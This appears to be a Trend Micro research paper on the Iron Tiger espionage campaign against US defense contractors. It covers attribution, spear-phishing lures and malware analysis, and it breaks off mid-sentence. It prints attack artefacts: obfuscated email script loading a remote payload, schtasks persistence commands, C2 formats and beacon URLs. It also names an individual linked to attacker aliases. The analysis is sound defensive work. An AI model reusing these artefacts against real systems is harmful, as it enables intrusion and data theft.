Operation Iron Tiger:

Exploring Chinese Cyber-Espionage
Attacks on United States Defense
Contractors

Ziv Chang, Kenney Lu, Aaron Luo,
Cedric Pernet, Jay Yaneza(Trend Micro Cybersafety Solutions Team)A TrendLabsSM Research Paper

TREND MICRO LEGAL DISCLAIMER
The information provided herein is for general informationand educational purposes only. It is not intended andContentsshould not be construed to constitute legal advice. The
information contained herein may not be applicable to all
situations and may not reflect the most current situation.
Nothing contained herein should be relied on or acted upon
without the benefit of legal advice based on the particular
facts and circumstances presented and nothing hereinshould be construed otherwise. Trend Micro reserves theright to modify the contents of this document at any time4
Targets: From Asia-Pacific to
the US

without prior notice.
Translations of any material into other languages areintended solely as a convenience. Translation accuracy is
not guaranteed nor implied. If any questions arise related
to the accuracy of a translation, please refer to theoriginal language official version of the document. Any
discrepancies or differences created in the translation are
not binding and have no legal effect for compliance or

8Actors: Tracing theoperation’s Chinese roots

enforcement purposes.
Although Trend Micro uses reasonable efforts to include
accurate and up-to-date information herein, Trend Micromakes no warranties or representations of any kind as
to its accuracy, currency, or completeness. You agree
that access to and use of and reliance on this document
and the content thereof is at your own risk. Trend Microdisclaims all warranties of any kind, express or implied.

11
Operation: Iron Tiger hacks
targets’ defenses

Neither Trend Micro nor any party involved in creating,producing, or delivering this document shall be liable
for any consequence, loss, or damage, including direct,
indirect, special, consequential, loss of business profits,or special damages, whatsoever arising out of access to,use of, or inability to use, or in connection with the use ofthis document, or any errors or omissions in the content
thereof. Use of this information constitutes acceptance foruse in an “as is” condition.

51
Mitigation: Combating cyberespionage and targeted
attacks

If a single piece of valuable information can put a nation at a disadvantage, what could much
more stolen data do? A group of China-based threat actors known as “Emissary Panda1”
or “Threat Group-3390 (TG-3390)2” may know the answer, as they have been seen stealing
terabytes of confidential data from employees of high-technology companies in the UnitedStates (US) since 2013.
Their target? Government defense contractors and related companies. They specificallytargeted the directors and managers of US companies in the electric, aerospace, intelligence,telecommunications, energy, and nuclear engineering industries, among others. Looking at thetargets, we believe the attackers constantly monitored technology-inclined US government
contractors.
In a cyber-espionage operation we dubbed “Iron Tiger,” the actors first spent years spying on
political targets and government agencies in China, Hong Kong, and the Philippines back in2010 before eyeing technology-related organizations in the US. Given the huge geographicalshift in target, it is very likely that Iron Tiger is only part of a bigger campaign where specifictargets are assigned to various teams.
The actors have stolen emails, full Active Directory® dumps, intellectual property, strategicplanning documents, and budget- or finance-related content—all of which can be used tosabotage target governments’ or private organizations’ plans. We’ve even seen them nab up to
58GB worth of data from a single target. They could have even stolen terabytes of data in total.
We found convincing evidence pointing to China as the threat actors’ primary location.
These indicators include the use of virtual private network (VPN) servers that only accepted
China-based registrants, Chinese file names and passwords, and China-registered domains.
Specifically following two virtual aliases, “phpxss” and “ershao,” we were able to attribute
operational activities to a key personality physically located in China.
Note that the actors are skilled in launching digital attacks. They not only followed new
malware-creation tool releases but also used customized tools like dnstunserver and abused
legitimate services like Blogspot™ and the Google Cloud Platform™. Using legitimate services
allowed them to evade monitoring and efficiently change command-and-control (C&C) servers
in case of discovery.
While their techniques may be quite advanced, they adapt to their target networks’ security
levels and sparingly used sophisticated methods. Like any organized and motivated team, theyexerted minimal effort to achieve maximum results.

Targets: From Asia-Pacific to the US

Quality trumps quantity as far as Iron Tiger goes. It targets fewer individuals and organizations comparedwith other campaigns like Russia-based cyber-espionage operation, Pawn Storm3. Yet like Pawn Storm,
Iron Tiger also spies on organizations where they are based.

China — 2010
Education

Hong Kong — 2010
Others (political organizations)
Philippines — 2010

Government

Tibet — 2010

Others (political organizations)

United States — 2013

Technology

United States — 2013
Telecommunications
United States — 2013

EnergyUnited States — 2013

Manufacturing

Global distribution of Iron Tiger’s targets

The actors first monitored targets in the education industry in China, political dissidents in Hong Kong,
government agencies in the Philippines, and political targets in Tibet as far back as 2010. We believe
individual targets from each country were picked to gather inside information on political events thatprevailed at the time.
The actors use spear-phishing email subjects that would be interesting to their chosen targets. They used
“Han Zheng stays at Regent Pan—Housing protest held in advance” as lure to entice curious politicaltargets to join a protest against then-mayor of Shanghai4. Other subjects exposed the attackers’ aim totarget very important persons (VIPs), engineers, and/or public relations (PR) or communication officers.

4 | Operation Iron Tiger

Sample spear-phishing email sent to targets (subject in English, “Han Zheng stays at Regent Pan—
Housing protest held in advance”)

In 2013, Iron Tiger’s targets changed. After achieving cyberspying feats, the attackers set out to catchbigger fish—individuals in defense- and technology-related fields like aerospace, energy, intelligence,nuclear engineering, and telecommunications. Looking at the targets, we believe the attackers constantly
monitored high-technology contractors of the US government.

Up to terabytes of stolen data
The actors are believed to have stolen up to terabytes of data, given the sheer amount of information
they gathered from each target. They were able to extract as much as 58GB worth of data from a single
organization. This was even more than the 40GB worth of data initially leaked after the Sony Pictures
hack, which exposed unreleased films, personal employee files, medical records, and others.5

5 | Operation Iron Tiger

Emails

Intellectual
property

Full Active
Directory dumps

Strategic planningdocuments

Budget-/Financerelated content

Types of data stolen by the Iron Tiger actors

A compromised Microsoft® Exchange™ server
showed that Iron Tiger uses various exfiltration
routines. They install two different backdoors—
BKDR_PLUGX.XXT and Dllshellexc2010 (which
specifically affects Microsoft Exchange). They
rename files prior to extraction using extensions
like .CSS to bypass security protections put inplace for archived files (.ZIP, .7z, .RAR, etc.).

Actual content found inside a 58GB archive
stolen from a single target organization

Content of a .7z file named “txt.css” generated
by the attackers on a compromised network

6 | Operation Iron Tiger

The actors also use Robocopy, an application that lets users remotely copy files to local hard drives inorder to extract them from a server. Finally, they export mailboxes to a .PST file using the “ExportMailbox” PowerShell command. Data meant to be stolen is always stored as encrypted .7z files in theMicrosoft Outlook® Web App (OWA) folder.

With all of the files in their hands, the actors may know
everything about the network and its users, making lateral
movement possible. The possibilities are endless. At this point,
they obtain the highest privilege levels on the compromised
network.

7 | Operation Iron Tiger

Actors: Tracing the operation’s Chineseroots

The following pieces of evidence revealed that the Iron Tiger actors can be Chinese-speaking individuals
proficient in computer security and launching digital attacks:•

The VPN servers were mostly located in China like those provided by BAIGE VPN.

•

The file names and passwords used were Chinese.

•

Some text resources and language IDs used in malware binaries were set to simplified Chinese.

•

HUC Packet Transmit Tool (HTran) is frequently used by Chinese threat actors.

•

Whois data revealed that related domains like shangxian.info were registered with physicaladdresses in China.

•

The other related resources (QQ, Lofter, 163.com) are popularly used in China.

Is “Fei” behind Iron Tiger?
Following virtual aliases related to Iron Tiger allowed us to attribute operational activities to a key
personality—Guo Fei—who resides in Shanghai, China.

Phpxss and exenull
The systematic use of these two nicknames, their use of the same password to encrypt files, and theway they accessed C&C servers made us believe that only a few key individuals rather than a hugegroup of people were behind the campaign. Phpxss was probably a reference to cross-site scripting(XSS) vulnerabilities based on PHP. This choice of nickname made us believe that the actor had ties to
traditional cybercrime.
Phpxss had ties to xssok.blogspot.com and phpxss.lofter.com—C&C servers for three Trojans (dnstunnel,
NBDDOS, and PlugX) related to Iron Tiger. The malicious tool, dnstunclient, accesses xssok.blogspot.
com to know what the controlling IP address is. A Gh0st variant, meanwhile, accesses phpxss.lofter.com,
which leads to a C&C server.
Phpxss also serves as username for several email addresses from different free email providers and the
BAIGE-VPN-provided service. One of the subdomains under shangxian.info that points to a C&C server
has also been registered with the name, “php xss,” and the email address, [REDACTED]s @ gmail . com.

8 | Operation Iron Tiger

Registrant Email: [REDACTED]s @ gmail . com
Registrant Name: php xss
Registrant Organization:
Registrant Street: shanghairoad
Registrant City: shanghai
Registrant State/Province: sldkkk
Registrant Postal Code: 200000
Registrant Country: CN
Registrant Phone: +86.[REDACTED]53232

Whois information tied to shangxian.info and registered by php xss

We also found a blog comment with the name, “phpxss,” which led to an email address; a QQ number(693149); and the name, “Guo Fei.” Additional research on the QQ number led us to a person named“郭飞,” which translates to “Guo Fei.” The name, “exenull,” meanwhile, was used by the same person toregister on target sites or forums.

Comment by phpxss linked to a Gmail accountand QQ number owned by Guo Fei

Phpxss’s geographical information

9 | Operation Iron Tiger

QQ Insight Labs overview of the QQ number, “693149”

More information on the QQ number, “693149”

Ershao and myershao
Ershao and myershao were other nicknames tied to the name, “Guo Fei.” These were found in leaked
underground forum databases and had ties to the same QQ number that phpxss used. A related email
address found in underground forums, [REDACTED]o @ live . cn, was also used to register the domain,
mai1.info, which had ties to Iron Tiger.

10 | Operation Iron Tiger

Operation: Iron Tiger hacks targets’
defenses

The Iron Tiger actors can be skilled computer security experts but sparingly used advanced techniques,given their weakly protected target networks. They do not follow a specific schedule when it came tolaunching attacks. Instead, they prioritize attacks based on a list of chosen targets. We have, for instance,
seen them dump the contents of a company’s Active Directory database nine months prior to actual data
exfiltration.
IIS exploit binaries (CVE-2008-1436)

GTalkTrojan

2010

2011

QuarksPwDump

s.exe

2012

HTTPBrowser

Dllshellexc2010

2013

NBDDOS

PlugX
2014

Ring RAT

Dnstunclient
2015

Google Cloud Platform Trojan

PlugX
2016

Malware and tools that Iron Tiger used sorted by compilation date

Investigations revealed several Iron Tiger-specific routines. The actors are fond of using customized
hacking tools like dnstunserver and known targeted attack malware, PlugX and Gh0st variants, toremotely access target networks.
The attackers abuse free Web services to accomplish their goals. They set up C&C servers in the free
blogging platform, Blogspot; connected a Gh0st variant to the Chinese blogging platform, Lofter; and

11 | Operation Iron Tiger

created email accounts in Gmail™ and Microsoft Outlook. They also maintain a clean and controlledcommand center, going as far as patching one of the C&C servers they compromised and running the
WebShellKill backdoor finder on it to keep cybercriminals or script kiddies away.
When laterally moving inside networks, they use a stolen code-signing certificate from Korea-based
security company, SoftCamp Co., Ltd., to evade security solutions. To get deeper into networks, theyintercept Microsoft Exchange™ credentials using Robocopy and the “Export-Mailbox” PowerShellcommand—both unique means. They also use a Trojan that was specifically designed to only work on the
Google Cloud Platform.

Spear phishing
The Iron Tiger actors likely gather solid information about organizations they want to infiltrate before
zeroing in on specific figure heads. Quick Web searches on how specific organizations formulate email
addresses can give them clues on target individuals’ specific addresses. Using these addresses, theattackers have been sending spear-phishing emails to compromise computers in target networks as earlyas April 2010.
The target individuals have varying professional classes, ranging from company executives andgovernment officials to engineers and PR officers. Some of their addresses can be easily found on theInternet. Others are not publicly available, which shows that the attackers have a certain level of maturity
in reconnaissance or data gathering.
The actors use two addresses to send spear-phishing emails. One of these has been in use since 2010.
This is surprising, given that threat actors typically drop email addresses after a short period of time inorder to evade detection. This can be a reflection of their confidence that their spear-phishing campaigns
will stay undetected regardless.
The “From” field in messages sent via both addresses is usually modified to reflect the spear-phishing
scheme used for a given target. The attackers often use names that pique the targets’ interests (affiliatedwith news agencies like the British Broadcasting Corporation [BBC] or the Agence France-Presse [AFP]).
Subjects ranging from the generic to the more professional or personal are also used. Samples include“Shanghai mayor Han Zheng visits Taipei to promote World Expo,” “Han Zheng stays at Regent
Pan—Housing protest held in advance,” and “Sino-US cooperation on maritime security seminar

12 | Operation Iron Tiger

neighborhoods.”
Date

Industry (based onrecipient)

Subject

Translation

25 November 2009

OthersHow about yourparents?

Not applicable

3 April 2010

Communications andmedia

Smurfs, Bollywood give
Shanghai Expo star
power

Not applicable

3 April 2010

Others (politicalorganizations)

Hong Kong lawmakers
Not applicable
give lukewarm response

6 April 2010

Others (politicalorganizations)to Shanghai Expo trip
上海市長韓正訪問台北
推廣世博

6 April 2010

Others (politicalorganizations)

韓正下榻晶華 綠營提前住房抗議

Han Zheng stays atRegent Pan—Housing
protest held in advance

7 April 2010

Education

关于中美海上安全合作
讲座求教Sino-US cooperation
on maritime security
seminar neighborhoods

7 April 2010

Education

征询Consultation

10 April 2010

Others (politicalorganizations)Not applicable

16 April 2010

Government

Tashi Delek after longtime! (Note that “Tashi
Delek” is a Tibetan
form of greeting thatis usually translated to“Blessings and goodluck.”)
2010年度部级法学研究课题申报公告9 July 2010

Government

Forging a US-Brazil
strategic partnership

Not applicable

9 July 2010

Government

Brazil’s new security
strategy and defense
doctrine

Not applicable

10 July 2010

Others (politicalorganizations)

FW: Tuesday’s meetingat 10 is cancelled

Not applicable

10 July 2010

Others (politicalorganizations)

FW: Can we meet to
discuss your coming
trip?

Not applicable

10 July 2010

Others (politicalorganizations)

RE: Staff meeting is
Wednesday at 14:00

Not applicable

13 | Operation Iron Tiger

Shanghai mayor Han
Zheng visits Taipei topromote World Expo

Research ministerial
declaration of the “2010Law Bulletin”

Date

Industry (based onrecipient)

Subject

Translation

10 July 2010

Others (politicalorganizations)

The minutes from lastweek’s board meeting

Not applicable

14 July 2010

Education

Not applicable

3 August 2010

Government

Homeland Security and
Defense您好，我是刚毕业的，投简历一份，希望有幸成为贵公司一员

5 August 2010

Others (politicalorganizations)

Will you come?

Not applicable

5 August 2010

Manufacturing

Summit on nuclear
safety issues discussed

Not applicable

17 August 2010

Others (politicalorganizations)

How about recent days?

Not applicable

6 September 2010

Manufacturing,2010 Sandia nuclear
technology, others
weapons research topic(nonprofit organizations)
警告钓鱼岛挑衅者，希Others (political
望不要把中国的愤怒点
organizations)Not applicable

10 September 2010

燃Hello, I just graduated,attached is my resume,
hoping to get theopportunity to be part ofyour company

Warning Diaoyu
provocateurs, hoping
not to ignite China’s ire

25 January 2011

OthersBackup (Note that thiswas sent by “Admin.”)Not applicable

23 April 2013

Government

The new foreign policy
frontier

Not applicable

23 April 2013

Government

Economic development
and reconstruction

Not applicable

23 April 2013

Government

Taiwan’s response toan evolving security
environment

Not applicable

23 April 2013

Government

TaiwanNot applicable

25 April 2013

Government

Taiwan’s response to an
security

Not applicable

9 May 2014

Government

The future of the US
Army Officer Corps

Not applicable

9 May 2014

Government

Illicit international
activities

Not applicable

5 September 2014

Telecommunications,
technology

12 October 2014

Telecommunications#COMPANYNAME#
Not applicable
jobs! Help me! Help me!
佘氏论坛改版需求
Forum needs revision

More spear-phishing email subjects used in Iron Tiger

14 | Operation Iron Tiger

The spear-phishing emails had limited content, usually only one or two lines of text. They came witharchive file attachments (usually .RAR files) that contained malicious .EXE files.

Sample Iron Tiger spear-phishing email

The email above had a hidden image, which was actually a “Web bug” that allowed attackers to get
more information from target systems like IP addresses, browser versions, and others. Some emails
had slightly obfuscated code. When deobfuscated, the code tries to run a remote script. We were,
unfortunately, unable to retrieve the said js.php script.

Email source code that shows the HTML content, including the Web bug

15 | Operation Iron Tiger

<div id=”code” title=”emailkey=’##REDACTED##’;window.onerror=function(){return
true;};if(window.ufoufoufo!=1){framedir=’http://’;framedir=framedir+’##REDAC
TED-IPADDRESS##:2687/h/’;yyuser=’##REDACTED E-MAIL ADDRESS##’;_x_=document.
createElement(‘SCRIPT’);_x_.src=framedir+’/js.php?key=’+emailkey+’&msg=’+esca
pe(‘-’+yyuser+’^-!!-’+document.location);document.insertBefore(_x_,document.
getElementsByTagName(‘*’)[0]);ufoufoufo=1;}”></div><style>p,font,table{
top:rgb(‘88’,80,’180);
top:rgb(‘) !importantheight:expression()(window.r==123)?x=8:(eval(code.title)==20088) || (r=123)}’,80,’180);}</style><p>-</p><font>-</font>

Slightly obfuscated code in an Iron Tiger email

http://##REDACTED IP ADDRESS:2687/h/js.php?key=##REDACTED##&msg=-##REDACTED
E-MAIL ADDRESS##^-!!-document.location

Decoded version of the slightly obfuscated code

ArsenalWhile the malware and tools that the actors used were publicly available, some were not at the time thispaper was written.

Dnstunclient
Dnstunclient was named after strings found inside its binary (SHA-1:
afce5e56fc9bd1774d0cbbab1df205d0152fc632, detected by Trend Micro as HKTL_DNSTunnel). This
has an interesting way of communicating with the attackers and finding C&C servers. It fetches the home
page of a blog, xssok.blogspot.com, with information on how to reach a C&C server. Contacting the blog
was registered as a scheduled task on a compromised system, which runs every Sunday at 8:00 A.M.
(matching the infected system’s time zone) and fetches the Blogspot page.

16 | Operation Iron Tiger

Home page of xssok.blogspot.com

C:\Windows\System32\cmd.exe /C schtasks /create /tn “Microsoft Windows” /tr[FILE NAME] /sc weekly /d SUN /st 08:00:00 /ru System”

Code that set when compromised systems should access the blog

Format:“$$$$$$$$$$[Day OF Week]#####[DNS or IP]$$$$$$$$$$”

Example: “$$$$$$$$$$SUN#####10.10.10.10$$$$$$$$$$”

Format used to provide dnstunclient with a C&C server’s IP address

On Windows Vista or newer systems, the scheduled task is registered as shown below.

C:\Windows\System32\cmd.exe /C schtasks /create /tn “\Microsoft\Windows\PLA\
System\Microsoft Windows” /tr [FILE NAME]/sc weekly /d SUN /st 08:00:00 /ru

System”

Scheduled task code on Windows Vista or newer systems

Running the scheduled task decodes the information provided by the blog so the system can access theactual C&C server. A reverse command shell then runs using the Domain Name System (DNS) protocol
with CNAME and A queries on User Datagram Protocol (UDP) port 53.

17 | Operation Iron Tiger

DNS protocol used as communication channel by a malware variant

The said malware is Base64 encrypted and so can easily be decrypted. Further analysis of the binary
revealed that it was a command-line tool that was modified to work on its own. Its original version can beused with arguments like:•dnstunclient -ip <server ip address>•

dnstunclient -d or -domain <domain>

The modified version, meanwhile, forced the use of xssok.blogspot.com.

v5 = (int *)argv;*argv = aAaa;
argv[1] = aIp_0;//Set argument 1 to –ip

v6 = (const char *)sub_402A40(); //get C2 server ip from blog
argv[2] = v6; //Set argument 2 to C2 server ip

Modified tool code that forces the use of xssok.blogspot.com instead of arguments

Reverse engineering allowed us to see the tool’s original output. The original dnstunclient is a console
program that can be used for temporary lateral movement but it has been modified to act as a Trojan.
The modified tool adds extra functions to replace or add parameters while the original always readparameters from the console input. As such, the modified tool grabs parameters from a remote Web page.

18 | Operation Iron Tiger

Sample output of the original dnstunclient tool

The “wzrapbia” string the modified tool creates is automatically generated but can’t be used as anindicator of compromise (IoC).
Over the past year, Iron Tiger increasingly used similar channels to communicate—an obvious attempt atstaying undetected. Log file reviewers will probably classify Blogspot-related requests as legitimate but
dnstunclient still only accesses xssok.blogspot.com once a week as a precautionary measure.
We monitored xssok.blogspot.com for C&C changes for several months but saw very few modifications.
The blog, for instance, moved twice to an internal IP address (192.168.[REDACTED]) before switching
again to a compromised server owned by an Asian academic institution.

Dnstunserver
Dnstunserver is not available anywhere online, even on underground forums. It was most likely
developed or bought for Iron Tiger’s exclusive use.
The binary (SHA-1: eeec12cb0dcc7c77a4ecee9facd2ccc1f3e2d93c, detected by Trend Micro as HKTL_DNSTunnel) was compiled just this February. It is dnstunclient’s server part. When launched, it opens
a fake DNS service on UDP port 53 and waits for connections from victims. When a connection isestablished, dnstunserver provides a remote shell that allows the attackers to execute commands on
infected computers.
Dnstunserver’s server part has interesting debug information like the following paths with Chinese words
formed using the Guojia Biaozhun (GB2312) character set, the “national standard” (Note that “桌面”
translates to “desktop.”):•

C:\Documents and Settings\Administrator\桌面\dns control\t-DNSTunnel\DnsTunServer\dns.cpp•

C:\Documents and Settings\Administrator\桌面\dns control\t-DNSTunnel\DnsTunServer\
DnsTunServer.cpp•

C:\Documents and Settings\Administrator\桌面\dns control\t-DNSTunnel\DnsTunServer\

19 | Operation Iron Tiger

memory.cpp•

C:\Documents and Settings\Administrator\桌面\dns control\t-DNSTunnel\DnsTunServer\socket.
cpp

Exchange backdoor + WebShell = Dllshellexc2010
Iron Tiger uses a backdoor called “Dllshellexc2010” by its author on a Microsoft Exchange server thatbelongs to a target. Dllshellexc2010 is a tool customized for the attackers’ exclusive use. It is a .NET
module (SHA-1: 08afa64b23288c0414b379cb4e67c1a8dabea033), a very small dynamic link library(DLL) (less than 8kB in size) that can be installed on Microsoft Exchange or Internet Information
Services (IIS) servers for the purpose of stealing users’ authentication credentials while logging in. It
provides a WebShell to the machine, in addition to credential-stealing capabilities.
c:\Users\ljw\Documents\prj\dllshell\Dllshell\Dllshellexc2010\obj\Release\
Microsoft.Exchange.Clients.Auth.pdb

Debug string found in Dllshellexc2010’s binary

WebShell that Dllshellexc2010 provides

The WebShell does not require any physical ASP.NET file to be present in the IIS directory. It runs
every time an HTTP request to any path ending with “x.aspx” is sent. It creates a temporary file called“8xla90ssz7693.tmp” with a tiny WebShell in the %TEMP% folder, which is later executed.
Dllshellexc2010’s source code shows that it extracts a parameter called “chopper” when executed, justlike the infamous WebShell, 中國菜刀 or China Chopper6. We believe this DLL was created by someone
very familiar with China Chopper. We decided to test it in a controlled China Chopper environment

20 | Operation Iron Tiger

and found that it worked perfectly. Dllshellexc2010 also intercepts Microsoft Exchange credentials
every time a request path that contains “/auth.owa,” a default log-in path for OWA, is used. Note theuse of Chinese in the log file generated. Intercepted credentials are written to a hard-coded file called“%TEMP%\~4DAF8B\~P486.jpg” on the infected system’s disk. It uses the .JPG extension even though
it is actually a text file.

WebShell that Dllshellexc2010 provides inside the China Chopper graphical user interface (GUI)

Code used to log usernames and passwords

Stolen credentials are written to %TEMP%\~4DAF8B\~P486.jpg

21 | Operation Iron Tiger

Sample result of Dllshellexc2010’s credential-stealing capability

Attacker’s browsing history and related tools
We were able to examine the browsing history of a C&C server that the actors compromised and saw how
they quietly accessed parts of their arsenal (malware and tools) that was hosted elsewhere online. They
stored a lot of their usual tools on a mac.pm server, which was hosted in the US and whose name servers
are known for having ties to malware-related activities.
URL

SHA-1

Description/file/dump.7z

Unknown

Was not retrieved but is likely a
GSecDump tool

/file/7z.exe

Legitimate file

Legitimate .7z compressor/tool/dnser.exe

eeec12cb0dcc7c77a4ecee9facd2ccc1f3e2d93c or
HKTL_DNSTunnel

Dnstunserver file

/tool/wce.exe

Legitimate file

Legitimate Windows Credential
Editor file

/tool/ghost.rar

ec0c179903e413490cec41c522ba612737d38c4a

Contains Gh0st server Ring.exe
variant

Files downloaded by the attackers onto mac.pm

The attackers download a mixture of legitimate and malicious tools, including a famous Windows
Credential Editor password dumper, GSecDump, and a .7z compressor.
Dnstunserver is also stored on mac.pm, together with a .RAR file that can contain Ring.exe, a Gh0st
remote access tool (RAT) variant.
The actors also download files that belong to a private South Korean company (whose name we do notwish to disclose) from a compromised domain.
URL

SHA-1

Description/webnote/upload/
test/3f.7z

1f8dec3ea9b25de862a11b4d807f0d8de00c7972

PlugX Server 3.0: EFH3.exe,
FastDos.exe, FastGui.exe,
FastProxy.exe/webnote/upload/
int.rarac6ee2d9cadf5415ad85f7cb756d6c46022a5ecf

Cracked version of Internet
Download Manager

Files downloaded from a compromised private South Korean company’s site

22 | Operation Iron Tiger

The files in the table on the previous page have since been removed. One of the target organizations musthave cleaned its Web server.
3f.7z, a file downloaded from a compromised server, was encrypted with an unknown password. We wereunable to decrypt it but were able to list its contents. The same files related to the PlugX or KorPlug RAT
were found on the C&C server. These were likely the contents of 3f.7z.

WebShellKill
The Iron Tiger actors downloaded a Chinese tool called “WebShellKill,” which is publicly available. Theyuse an old version (V1.4.1) of the tool even if V1.7.2 was already available at the time this paper was
written.

WebShellKill features as advertised by its author

It may be puzzling to find WebShellKill on attackers’ servers because it is used to find backdoors in code
(PHP, ASP, VBS, etc.). But since attackers generally plant backdoors anywhere, why would they want toremove them?
We quite easily found the answer when we saw the actors compromise a server and immediately launch
the tool. The server they chose had several backdoors, which they got rid of via WebShellKill. They
probably wanted to make sure the compromised server was clean and could not be easily accessed byscript kiddies or even cyberdefenders.

23 | Operation Iron Tiger

The Iron Tiger actors seem to really care about not being
hacked. They went so far as patching a compromised C&C
server by logging in as administrator and deploying security
fixes.

Google Cloud Platform Trojan
The Iron Tiger actors bought a Trojan that
only worked on the Google Cloud Platform. Its
C&C server accesses an appspot.com domain.
We found a version of the Trojan’s server-side
component that was coded in Python. Note thatusing Python for coding Trojans is unusual. We
also found a file called “app.yaml,” which was

Client or server options that the Google Cloud
Platform Trojan uses

the Trojan’s configuration file.
URL

Function

Affected party/user

Accesses servers when online

Victims/userlist

Dumps all available clients

Attackers/client

Checks server status (on standby Victims
or working)/server

Turns server on and/or off

Attackers/data

Starts subcommands (pr, fi, sh,dir, or uninstall)

Victims and attackers/prLists or kills running processes

Victims and attackers/fiUploads or downloads files

Victims and attackers/shExecutes commands

Victims and attackers/dirLists directory contents

Victims and attackers

Google Cloud Platform Trojan’s functions

The Trojan was installed on 13 machines that belong to a target company most likely for lateral
movement. We also found a variant of its client part that was compiled on 23 March 2015. The sample isnamed “svchost.exe,” a supposed key Microsoft Windows component. When launched, the binary tries toestablish persistence by adding a “Run” registry key named “iisini” to execute the file.

24 | Operation Iron Tiger

The Trojan then accesses a C&C server bysending the HTTP GET request, hxxp://exenull1.
appspot.com/user?pid=XXXXX&data=XXXXX.
It probably tracks victims via unique transmit
PIDs generated on infected computers.
The data parameter had a Base64-encoded
string that, when decoded, contains “IP
address!Username!Company.” The Trojan’sUser-Agent was “WinHTTP Example/1.0” andwas likely created for the actors’ exclusive use.

MalwareThe Iron Tiger actors use three different RATs
Client-side properties of the Google Cloud
Platform Trojan

commonly associated with targeted attacks
originating from China.

Code that creates a persistence registry key on infected systems

BKDR_PLUGXPlugX7, also known as “Sogu,” “Gulpix,” or “KorPlug,” has been used as a RAT in several targeted attack
campaigns. Its author8 or a developer with access to its source code has been updating it on a regularbasis.

25 | Operation Iron Tiger

PlugX variants use the DLL side-loading method to infect target computers. DLL side-loading involves
abusing a legitimate Windows executable file to load a malicious DLL (PlugX) instead of a legitimate
library. All this requires is naming the malicious binary the same as the DLL that attackers wish to
execute. PlugX is then loaded instead of the legitimate library in a system folder.

Sample PlugX attack scenario

The actors used the method above to infect computers aided by legitimate binaries fromMicrosoft or antivirus companies like Symantec and F-Secure. We have seen them use a
Microsoft-signed binary, Form.exe. This was dropped, along with two other files, FormDll.
dll (SHA-1: 4df17c9e64f7277538141e384d4a372c60787f1a) and Form.hlp (SHA-1:
d3fb95d0eeccd99c475c6b985a6c911bed69f50d). FormDll.dll contained all of the malicious code while
Form.hlp had the main malware binary and configuration. When the legitimate Form.exe is launched,
PlugX:•

Copies three components to C:\Windows\System32•

Sets the files’ attributes to “hidden” and “system”•

Sets the files’ time stamps to “2008/04/14”•

Creates the service, “Microsoft .Net Framework NGEN 4.0”•

Starts a zombie process called “svchost.exe” and injects code•

Removes itself from infected systems

26 | Operation Iron Tiger

PlugX infection as seen in the Windows registry

PlugX files hidden in system32

PlugX SController 3.0
SController 3.0 is the internal name of some variants of the PlugX server-side binary. Its GUI,
meanwhile, is called “PureICE.” PureICE’s Users panel provides a lot of information about infected
machines, including:•Computer name

•

Memo

•

Local area network (LAN) IP

•

CPU

•

Wireless LAN (WLAN) IP•

Memory•Location•

Screen resolution•

Protocol•Last online time

•

OS

•

Version•Languages

•

CLSID

The panel also groups infected machines basedon user definition though a default group name isalways present, “U.S.A.”

Default group name configured in PureICE
Title bar of a PlugX server-side binary
27 | Operation Iron Tiger

The second panel, Listeners, shows the server settings. It supports Transmission Control Protocol (TCP)and UDP. Note that TCP can accept HTTP or raw TCP transmissions at the same time. Clicking theinfected machines’ icons shows the Manager panel.

PureICE’s Listener panel’s list of running infected machines

PureICE’s Manager panel

PureICE’s GUI had English spelling mistakes. Some features did not even use English, only Chinese.
PureICE’s Manager panel had various functions, including:•

Disk (file manager)•

Processes (process manager)•

NetHood manager•

Services manager•

File transfer•

RegEdit (registry editor)

28 | Operation Iron Tiger

•

Netstat manager•

Capture (screenshot manager)•

Control (a kind of Remote Desktop Protocol•

SOCKS5 manager)•

Shell (remote shell)•

Telnet (not a Telnet manager but a DOS
emulator)

SQL (connects to any database via Open
Database Connectivity [ODBC])[RDP] manager)•

PortMap (port-mapping, SOCKS4, or•Keylogger manager•

Option (lock, log off, restart, or shut downwith message customization)

PlugX has, to our knowledge, never been used by non-Chinese attackers, once again strengthening ourassumption that Iron Tiger hails from China.

Gh0st variants
We found several variants of the infamous Gh0st RAT used in Iron Tiger as well.

S.exe
One of the Gh0st variants, s.exe (SHA-1:
7b34f24703b5415bc46fdab3801ac79e3e82242a)
has a lot of obfuscation functions. While it isheavily encrypted, in memory, it is easier to see
the infamous string, “Game Over Good Luck ByWind,” appear.
Unobfuscated strings in the Gh0st variant
S.exe was modified to evade antivirus detection.

found in memory

Some of its functions were also deactivated. It
accesses the following C&C servers:•

gameofthrones.ddns.net•

user.qzone.qq.com/1479457083•

ys168.com

Gameofthrones.ddns.net has been hosted in various countries since February 2015, including the US,
Vietnam, and South Korea. Interestingly, one of its domains always points to the IP address, chrome.
servehttp.com. We have yet to gather samples accessing the said C&C server though.
Ys168.com is a dynamic DNS in the form, <username>.ys168.com. Ys168.com without the subdomain as
a C&C server could have been just a mistake on the attackers’ part. This did not have any effect, however,as s.exe could still access other C&C servers.

29 | Operation Iron Tiger

User.qzone.qq.com/1479457083 was a static link that s.exe used to directly get a C&C server’s IP addressfrom the Web page’s title. This page’s account has been suspended though.

Ring RAT
Ring RAT is the internal name of another
Iron Tiger-related Gh0st variant (SHA-1:
d72ef43059ad0d5b4fc1e218e5257439ac006308)
compiled just this March. Two unique classnames in Ring RAT’s binary—CGh0stDoc andRing RAT version 5.0.0.0

CGh0stView—made it easy to see that it is a
Gh0st RAT derivative.

Ring RAT’s controller

Ring RAT’s controller had several capabilities, including:•File browser•

System manager•

Keylogger•

Screen capture•

Remote shell provider•

Remarks (notes)

30 | Operation Iron Tiger

Its builder, which allows attackers to easily create binaries to infect target systems, had several interesting
improvements from Gh0st RAT, including:•

The “Active From” field allows attackers to configure specific times to activate malware. This isvery useful when they only want to send out data at certain hours that are less visible to victims
monitoring network log files.

•

The “File Type” option allows attackers to only collect files with configured extensions (.DOC, .TXT,.PPT).

•“Add D-Signature” allows attackers to add digital signatures to binaries so these would be harder todetect.

•“Auto Fection U Disk” allows malware to automatically infect connected USB drives.

Ring RAT’s Build Server features

The additional features revealed that Ring RAT was built for espionage purposes.

Ring RAT is not available in underground forums or any
publicly accessible site. This modified Gh0st RAT could havebeen created for Iron Tiger’s or a closed community’s exclusiveuse.

31 | Operation Iron Tiger

NBDDOSIron Tiger uses another Gh0st RAT variant, NBDDOS. A file named “ver.exe” (SHA-1:
